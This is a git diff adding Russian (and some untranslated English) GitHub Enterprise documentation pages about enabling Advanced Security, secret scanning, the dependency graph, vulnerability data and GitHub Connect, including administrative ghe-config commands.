%}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) +{% data reusables.enterprise_management_console.save-settings %} + +## Disabling {% data variables.product.prodname_secret_scanning %} + +{% data reusables.enterprise_management_console.enable-disable-security-features %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.advanced-security-tab %} +1. Under "Security," unselect **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md new file mode 100644 index 000000000000..73832aee069e --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md @@ -0,0 +1,117 @@ +--- +title: Enabling GitHub Advanced Security for your enterprise +shortTitle: Enabling GitHub Advanced Security +intro: 'You can configure {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code.' +product: '{% data reusables.gated-features.ghas %}' +redirect_from: + - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise +versions: + ghes: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Enterprise + - Secret scanning + - Security +--- + +## About enabling {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.ghas-helps-developers %} + +{% ifversion ghes %} +When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)." +{% else %} +When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. +{% endif %} + +{% ifversion ghes %} +For guidance on a phased deployment of GitHub Advanced Security, see "[Introduction to adopting GitHub Advanced Security at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)." +{% endif %} + +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% ifversion ghes %} +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage. +![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) +{% endif %} + +## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %} + +1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} +2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." +3. Upload the new license file to {% data variables.location.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %} +4. Review the prerequisites for the features you plan to enable. + + - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)." + - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %} + - {% data variables.product.prodname_dependabot %}, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." + +## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features + +{% data reusables.enterprise_management_console.enable-disable-security-features %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %} +1. Under "Security," select the features that you want to enable and deselect any features you want to disable. +{% ifversion ghes %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %} +1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**. +![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %} +{% data reusables.enterprise_management_console.save-settings %} + +When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)." + +## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH) + +You can enable or disable features programmatically on {% data variables.location.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)." + +For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery. + +1. SSH into {% data variables.location.product_location %}. +1. Enable features for {% data variables.product.prodname_GH_advanced_security %}. + + - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands. + ```shell + ghe-config app.minio.enabled true + ghe-config app.code-scanning.enabled true + ``` + - To enable {% data variables.product.prodname_secret_scanning_caps %}, enter the following command. + ```shell + ghe-config app.secret-scanning.enabled true + ``` + - To enable the dependency graph, enter the following {% ifversion ghes %}command{% else %}commands{% endif %}. + {% ifversion ghes %}```shell + ghe-config app.dependency-graph.enabled true + ``` + {% else %}```shell + ghe-config app.github.dependency-graph-enabled true + ghe-config app.github.vulnerability-alerting-and-settings-enabled true + ```{% endif %} +2. Optionally, disable features for {% data variables.product.prodname_GH_advanced_security %}. + + - To disable {% data variables.product.prodname_code_scanning %}, enter the following commands. + ```shell + ghe-config app.minio.enabled false + ghe-config app.code-scanning.enabled false + ``` + - To disable {% data variables.product.prodname_secret_scanning %}, enter the following command. + ```shell + ghe-config app.secret-scanning.enabled false + ``` + - To disable the dependency graph, enter the following {% ifversion ghes %}command{% else %}commands{% endif %}. + {% ifversion ghes %}```shell + ghe-config app.dependency-graph.enabled false + ``` + {% else %}```shell + ghe-config app.github.dependency-graph-enabled false + ghe-config app.github.vulnerability-alerting-and-settings-enabled false + ```{% endif %} +3. Apply the configuration. + ```shell + ghe-config-apply + ``` diff --git a/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/index.md b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/index.md new file mode 100644 index 000000000000..61fd3f81764a --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/index.md @@ -0,0 +1,29 @@ +--- +title: Управление GitHub Advanced Security для предприятия +shortTitle: GitHub Advanced Security +intro: 'Можно настроить {% data variables.product.prodname_advanced_security %} и управлять использованием предприятия в соответствии с потребностями организации.' +product: '{% data reusables.gated-features.ghas %}' +redirect_from: + - /enterprise/admin/configuration/configuring-advanced-security-features + - /admin/configuration/configuring-advanced-security-features + - /admin/advanced-security +versions: + ghec: '*' + ghes: '*' + ghae: '> 3.6' +topics: + - Enterprise +children: + - /enabling-github-advanced-security-for-your-enterprise + - /managing-github-advanced-security-features-for-your-enterprise + - /configuring-code-scanning-for-your-appliance + - /configuring-dependency-review-for-your-appliance + - /configuring-secret-scanning-for-your-appliance +ms.openlocfilehash: 155c8cc2de762d4d24889a62bef562748830832c +ms.sourcegitcommit: ae862229f8c6d32af4230e73d28cb7050dec82d5 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/06/2022 +ms.locfileid: '148010427' +--- + diff --git a/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md new file mode 100644 index 000000000000..355caf6e54f2 --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md @@ -0,0 +1,63 @@ +--- +title: Управление функциями GitHub Advanced Security для предприятия +intro: 'Вы можете управлять функциями {% data variables.product.prodname_GH_advanced_security %}, которые защищают и анализируют код во всех организациях, принадлежащих вашему предприятию.' +permissions: 'Enterprise owners can manage {% data variables.product.prodname_advanced_security %} features for organizations in an enterprise.' +versions: + feature: secret-scanning-enterprise-level +type: how_to +topics: + - Alerts + - Advanced Security + - Dependency graph + - Secret scanning + - Repositories +shortTitle: Manage GitHub Advanced Security +ms.openlocfilehash: 0d48863d55805c5386435b7fef52a61a4ba7d43c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107208' +--- +## Сведения об управлении функциями {% data variables.product.prodname_advanced_security %} + +Функции {% data variables.product.prodname_advanced_security %} можно использовать для усиления безопасности организаций на предприятии. Чтобы упростить управление {% data variables.product.prodname_advanced_security %}, можно включить или отключить каждую функцию для всех существующих и (или) новых репозиториев в организациях, принадлежащих вашему предприятию. + +{% ifversion ghes or ghec %} Сведения о покупке лицензии для {% data variables.product.prodname_GH_advanced_security %} см. в разделе [Сведения о выставлении счетов за {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). {% elsif ghae %} Плата за {% data variables.product.prodname_GH_advanced_security %} в {% data variables.product.prodname_ghe_managed %} во время бета-версии не взимается. {% endif %} + +Если вы запретили {% data variables.product.prodname_GH_advanced_security %} для организации, эта организация не будет затронута включением функции для всех существующих репозиториев или для всех новых репозиториев. Дополнительные сведения о запрете {% data variables.product.prodname_GH_advanced_security %} для организации см. [в разделе Применение политик для расширенной безопасности на предприятии](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise). + +При включении одной или нескольких функций безопасности и анализа для существующих репозиториев все результаты отображаются в {% data variables.product.prodname_dotcom %} в течение нескольких минут. + +{% data reusables.security.security-and-analysis-features-enable-read-only %} + +## Управление функциями {% data variables.product.prodname_advanced_security %} + +{% data reusables.advanced-security.note-org-enable-uses-seats %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} +1. На левой боковой панели щелкните **Код безопасности & анализ**. +1. При необходимости включите или отключите функцию для всех существующих репозиториев. + + - Справа от функции щелкните **Отключить все** или **Включить все**. {% ifversion ghes or ghec %} Если элемент управления "{% data variables.product.prodname_GH_advanced_security %}" отключен, у вас нет доступных рабочих мест в лицензии {% data variables.product.prodname_GH_advanced_security %}. {% endif %} + + ![Снимок экрана: кнопки "Включить все" или "Отключить все" для функций "Настройка безопасности и анализа"](/assets/images/enterprise/security/enterprise-security-and-analysis-disable-or-enable-all.png) + + - Чтобы подтвердить изменение, щелкните **Включить/Отключить все** или **Включить или Отключить для соответствующих репозиториев**. + + ![Снимок экрана: кнопка для включения функции для всех соответствующих репозиториев в организации](/assets/images/enterprise/security/enterprise-security-and-analysis-enable-secret-scanning.png) + +1. При необходимости, чтобы включить или отключить функцию автоматически при добавлении новых репозиториев, установите флажок под функцией. + + ![Снимок экрана: флажок для включения функции для новых репозиториев](/assets/images/enterprise/security/enterprise-security-and-analysis-enable-or-disable-feature-checkbox.png){% ifversion secret-scanning-custom-link-on-block %} + +1. При необходимости, чтобы включить ссылку на ресурс в сообщение, которое будет отображаться участникам при попытке отправить секрет, выберите **Добавить ссылку на ресурс в интерфейсе командной строки и веб-интерфейсе при блокировке фиксации**, введите URL-адрес и нажмите кнопку **Сохранить ссылку**. + + {% note %} + + **Примечание.** Если настраиваемая ссылка настроена для организации, значение уровня организации переопределяет набор настраиваемых ссылок для предприятия. Дополнительные сведения см. в разделе [Защита push-уведомлений с помощью сканирования секретов](/code-security/secret-scanning/protecting-pushes-with-secret-scanning). + + {% endnote %} + + ![Снимок экрана: флажок и текстовое поле для включения настраиваемой ссылки](/assets/images/help/organizations/secret-scanning-custom-link.png){% endif %} + diff --git a/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md b/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md new file mode 100644 index 000000000000..8ee01f8be2bf --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md @@ -0,0 +1,27 @@ +--- +title: Сведения о безопасности цепочки поставок для вашего предприятия +intro: 'Вы можете включить функции, которые помогают разработчикам понять и обновить зависимости, используемые их кодом.' +shortTitle: About supply chain security +permissions: '' +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Security + - Dependency graph +ms.openlocfilehash: edfa8c2abecfa4eb7dc797d1dac3a06827fff5d7 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: '148135698' +--- +Вы можете разрешить пользователям определять зависимости своих проектов с помощью {% ifversion ghes %}включив{% elsif ghae %}с помощью{% endif %} графа зависимостей для {% data variables.location.product_location %}. Дополнительные сведения см. в разделе {% ifversion ghes %}[Включение графа зависимостей для предприятия](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% elsif ghae %}[Сведения о графе зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph){% endif %}. + +{% data reusables.dependency-review.dependency-review-enabled-ghes %} + +Вы также можете разрешить пользователям {% data variables.location.product_location %} находить и устранять уязвимости в зависимостях кода, включив {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} и {% data variables.product.prodname_dependabot_updates %}{% endif %}. Дополнительные сведения см. в разделе [Включение {% data variables.product.prodname_dependabot %} для вашего предприятия](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). + +После включения {% data variables.product.prodname_dependabot_alerts %} можно просмотреть данные об уязвимостях из {% data variables.product.prodname_advisory_database %} в {% data variables.location.product_location %} и вручную синхронизировать данные. Дополнительные сведения см. в разделе [Просмотр данных об уязвимостях для предприятия](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise). diff --git a/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md b/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md new file mode 100644 index 000000000000..3fda0c8eed1d --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md @@ -0,0 +1,57 @@ +--- +title: Включение графа зависимостей для предприятия +intro: 'Вы можете разрешить пользователям определять зависимости проектов, включив граф зависимостей.' +shortTitle: Enable dependency graph +permissions: Site administrators can enable the dependency graph. +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Security + - Dependency graph +ms.openlocfilehash: 39fb5e8eb74518dc4614d5494ec04427b5e12399 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: '148135682' +--- +## Сведения о графе зависимостей + +{% data reusables.dependabot.about-the-dependency-graph %} Дополнительные сведения о графе зависимостей см. в разделе [Сведения о графе зависимостей](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph) + +{% data reusables.dependency-review.dependency-review-enabled-ghes %} + +После включения графа зависимостей для предприятия можно включить {% data variables.product.prodname_dependabot %} для обнаружения небезопасных зависимостей в репозитории{% ifversion ghes %} и автоматического исправления уязвимостей{% endif %}. Дополнительные сведения см. в разделе [Включение {% data variables.product.prodname_dependabot %} для вашего предприятия](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). + +{% ifversion ghes %} Граф зависимостей можно включить с помощью {% data variables.enterprise.management_console %} или административной оболочки. Мы рекомендуем использовать {% data variables.enterprise.management_console %}, если {% data variables.location.product_location %} не использует кластеризацию. + +## Включение графа зависимостей с помощью {% data variables.enterprise.management_console %} + +Если {% data variables.location.product_location %} использует кластеризацию, вы не сможете включить граф зависимостей с {% data variables.enterprise.management_console %} и вместо него необходимо использовать административную оболочку. Дополнительные сведения см. в разделе [Включение графа зависимостей с помощью административной оболочки](#enabling-the-dependency-graph-via-the-administrative-shell). + +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} +1. В разделе "Безопасность" щелкните **Граф зависимостей**. +![Флажок для включения или отключения графа зависимостей](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} +1. Нажмите **Перейти к экземпляру**. + +## Включение графа зависимостей с помощью административной оболочки + +{% endif %} {% data reusables.enterprise_site_admin_settings.sign-in %} +1. В административной оболочке включите граф зависимостей в {% data variables.location.product_location %}: {% ifversion ghes %}''shell ghe-config app.dependency-graph.enabled true + ``` + {% else %}```shell + ghe-config app.github.dependency-graph-enabled true + ghe-config app.github.vulnerability-alerting-and-settings-enabled true + ```{% endif %} + {% note %} + + **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh)." + + {% endnote %} +2. Apply the configuration. + ```shell + $ ghe-config-apply + ``` +3. Вернитесь на {% data variables.product.prodname_ghe_server %}. diff --git a/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/index.md b/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/index.md new file mode 100644 index 000000000000..aaadd35e768b --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/index.md @@ -0,0 +1,21 @@ +--- +title: Управление безопасностью цепочки поставок для предприятия +shortTitle: Supply chain security +intro: 'Визуализация, поддержка и защита зависимостей возможны в цепочке поставок программного обеспечения разработчиков.' +versions: + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /about-supply-chain-security-for-your-enterprise + - /enabling-the-dependency-graph-for-your-enterprise + - /viewing-the-vulnerability-data-for-your-enterprise +ms.openlocfilehash: abea058659a8e03689b63d14fa8a207cdd5b41ee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145120819' +--- + diff --git a/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md b/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md new file mode 100644 index 000000000000..b20b4c62a4b7 --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md @@ -0,0 +1,27 @@ +--- +title: Viewing the vulnerability data for your enterprise +intro: 'You can view vulnerability data from the {% data variables.product.prodname_advisory_database %} on {% data variables.location.product_location %}.' +shortTitle: View vulnerability data +permissions: 'Site administrators can view vulnerability data on {% data variables.location.product_location %}.' +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Security + - Dependency graph +--- + +If {% data variables.product.prodname_dependabot_alerts %} are enabled for your enterprise, you can view all vulnerabilities that were downloaded to {% data variables.location.product_location %} from the {% data variables.product.prodname_advisory_database %}. + +You can manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list. + +Before you can view vulnerability data, you must enable {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." + +{% data reusables.enterprise_site_admin_settings.access-settings %} +2. In the left sidebar, click **Vulnerabilities**. + ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) +3. To sync vulnerability data, click **Sync Vulnerabilities now**. + ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) + diff --git a/translations/ru-RU/content/admin/configuration/configuring-github-connect/about-github-connect.md b/translations/ru-RU/content/admin/configuration/configuring-github-connect/about-github-connect.md new file mode 100644 index 000000000000..540defc8ee93 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-github-connect/about-github-connect.md @@ -0,0 +1,74 @@ +--- +title: Сведения о GitHub Connect +intro: '{% data variables.product.prodname_github_connect %} улучшает возможности {% data variables.product.product_name %} за счет предоставления доступа к дополнительным функциям и рабочим процессам, которые зависят от возможностей {% data variables.product.prodname_dotcom_the_website %}.' +versions: + ghes: '*' + ghae: '*' +type: overview +topics: + - Enterprise + - GitHub Connect +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: ac4ec1d8b619e56c38013f5ae38d5782b6faec88 +ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160819' +--- +## Сведения о {% data variables.product.prodname_github_connect %} + +{% data variables.product.prodname_github_connect %} улучшает {% data variables.product.product_name %}, позволяя {% data variables.location.product_location %} использовать преимущества {% data variables.product.prodname_dotcom_the_website %} ограниченными способами. После включения {% data variables.product.prodname_github_connect %} вы можете включить дополнительные функции и рабочие процессы, зависящие от {% data variables.product.prodname_dotcom_the_website %}, такие как {% data variables.product.prodname_dependabot_alerts %} для уязвимостей системы безопасности, которые отслеживаются в {% data variables.product.prodname_advisory_database %}. + +{% data variables.product.prodname_github_connect %} не открывает {% data variables.location.product_location %} в общедоступном Интернете. Никакие закрытые данные вашего предприятия не предоставляются пользователям {% data variables.product.prodname_dotcom_the_website %}. {% data variables.product.prodname_github_connect %} передает только ограниченные данные, необходимые для отдельных функций, которые вы решили включить. Если вы не включите синхронизацию лицензий, {% data variables.product.prodname_github_connect %} не передает никакие персональные данные. Дополнительные сведения о том, какие данные передаются {% data variables.product.prodname_github_connect %}, см. в разделе [Передача данных для {% data variables.product.prodname_github_connect %}](#data-transmission-for-github-connect). + +Включение {% data variables.product.prodname_github_connect %} не позволит пользователям {% data variables.product.prodname_dotcom_the_website %} вносить изменения в {% data variables.product.product_name %}. + +Чтобы включить {% data variables.product.prodname_github_connect %}, настройте подключение между {% data variables.location.product_location %} и учетной записью организации или предприятия в {% data variables.product.prodname_dotcom_the_website %}, использующим {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %} Дополнительные сведения см. в разделе [Управление {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect). + +После включения {% data variables.product.prodname_github_connect %} вы сможете включить такие функции, как {% ifversion ghes %}автоматическая синхронизация пользовательских лицензий и {% endif %}{% data variables.product.prodname_dependabot_alerts %}. Дополнительные сведения обо всех доступных функциях см. в разделе [Функции {% data variables.product.prodname_github_connect %}](#github-connect-features). + +## Функции {% data variables.product.prodname_github_connect %} + +После настройки подключения между {% data variables.location.product_location %} и {% data variables.product.prodname_ghe_cloud %} можно включить отдельные функции {% data variables.product.prodname_github_connect %} для вашего предприятия. + +| функций Описание | Дополнительные сведения | ------- | ----------- | ---------------- | {% ifversion ghes %} Автоматическая синхронизация лицензий пользователей | Управление использованием лицензий в развертываниях {% data variables.product.prodname_enterprise %} путем автоматической синхронизации пользовательских лицензий из {% data variables.location.product_location %} с {% data variables.product.prodname_ghe_cloud %}. | [Включение автоматической синхронизации пользовательских лицензий для предприятия](/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise){% endif %}{% ifversion ghes or ghae %} {% data variables.product.prodname_dependabot %} | Разрешение пользователям находить и устранять уязвимости в зависимостях кода. | [Включение {% data variables.product.prodname_dependabot %} для предприятия](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise){% endif %} Действия {% data variables.product.prodname_dotcom_the_website %} | Разрешение пользователям использовать действия из {% data variables.product.prodname_dotcom_the_website %} в файлах рабочего процесса. | [Включение автоматического доступа к действиям {% data variables.product.prodname_dotcom_the_website %} с помощью {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect){% ifversion server-statistics %} {% data variables.product.prodname_server_statistics %} | Анализ собственных статистических данных из GitHub Enterprise Server и помощь в улучшении продуктов GitHub. | ["Включение {% data variables.product.prodname_server_statistics %} для предприятия](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise){% endif %} Унифицированный поиск | Разрешить пользователям включать репозитории в {% data variables.product.prodname_dotcom_the_website %} в результаты поиска при поиске из {% data variables.location.product_location %}. | [Единый вклад "Включение {% data variables.enterprise.prodname_unified_search %} для предприятия](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise)" | Разрешить пользователям включать анонимные счетчики вкладов для работы над {% data variables.location.product_location %} в графы вкладов в {% data variables.product.prodname_dotcom_the_website %}. | ["Включение {% data variables.enterprise.prodname_unified_contributions %} для предприятия](/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise)" + +## Передача данных для {% data variables.product.prodname_github_connect %} + +Когда используется {% data variables.product.prodname_github_connect %}, {% data variables.product.prodname_ghe_cloud %} хранит запись с информацией о подключении. При включении отдельных компонентов {% data variables.product.prodname_github_connect %} передаются дополнительные данные. + +{% note %} + +**Примечание.** Никакие репозитории, проблемы или запросы на вытягивание никогда не передаются {% data variables.product.prodname_github_connect %} из {% data variables.product.product_name %} в {% data variables.product.prodname_dotcom_the_website %}. + +{% endnote %} + +### Передача данных при использовании {% data variables.product.prodname_github_connect %} + +Когда вы включаете {% data variables.product.prodname_github_connect %} или определенные функции {% data variables.product.prodname_github_connect %} запись в {% data variables.product.prodname_ghe_cloud %} сохраняет следующие сведения о подключении. +{% ifversion ghes %} +- Часть открытого ключа вашей лицензии {% data variables.product.prodname_ghe_server %} +- Хэш вашей лицензии {% data variables.product.prodname_ghe_server %} +- Имя клиента в вашей лицензии {% data variables.product.prodname_ghe_server %} +- Версия {% data variables.location.product_location_enterprise %}{% endif %} +- Имя узла {% data variables.location.product_location %} +- Учетная запись организации или предприятия в {% data variables.product.prodname_ghe_cloud %}, подключенная к {% data variables.location.product_location %} +- Маркер проверки подлинности, используемый {% data variables.location.product_location %} для отправки запросов к {% data variables.product.prodname_ghe_cloud %} +- Если протокол TLS включен и настроен в {% data variables.location.product_location %}{% ifversion ghes %} +- Функции {% data variables.product.prodname_github_connect %}, включенные в {% data variables.location.product_location %}, а также дата и время включения{% endif %} +- Порог бездействия для вашего предприятия +- Число бездействующих пользователей для вашего предприятия +- Количество рабочих мест, потребляющих лицензии, не включающее заблокированных пользователей + +{% data variables.product.prodname_github_connect %} синхронизирует указанные выше данные подключения между {% data variables.location.product_location %} и {% data variables.product.prodname_ghe_cloud %} еженедельно, начиная с дня и приблизительного времени включения {% data variables.product.prodname_github_connect %}. + +### Передача данных отдельными компонентами {% data variables.product.prodname_github_connect %} + +Дополнительные данные передаются при включении отдельных функций {% data variables.product.prodname_github_connect %}. + +Функция | Данные | Каким путем идет поток данных? | Где используются данные? | ------- | ---- | --------- | ------ |{% ifversion ghes %} Автоматическая синхронизация пользовательских лицензий | Идентификатор и адрес электронной почты каждого пользователя {% data variables.product.product_name %} | Из {% data variables.product.product_name %} в {% data variables.product.prodname_ghe_cloud %} | {% data variables.product.prodname_ghe_cloud %} |{% endif %}{% ifversion ghes or ghae %} {% data variables.product.prodname_dependabot_alerts %} | Оповещения об уязвимостях | Из {% data variables.product.prodname_dotcom_the_website %} в {% data variables.product.product_name %} | {% data variables.product.product_name %} |{% endif %}{% ifversion dependabot-updates-github-connect %} {% data variables.product.prodname_dependabot_updates %} | Зависимости и метаданные для каждого репозитория зависимостей

Если зависимость хранится в частном репозитории в {% data variables.product.prodname_dotcom_the_website %}, данные передаются только в том случае, если {% data variables.product.prodname_dependabot %} настроен и авторизован для доступа к репозиторию. | Из {% data variables.product.prodname_dotcom_the_website %} в {% data variables.product.product_name %} | {% data variables.product.product_name %} {% endif %} Действия {% data variables.product.prodname_dotcom_the_website %} | Имя действия, действие (файл YAML из {% data variables.product.prodname_marketplace %}) | Из {% data variables.product.prodname_dotcom_the_website %} в {% data variables.product.product_name %}

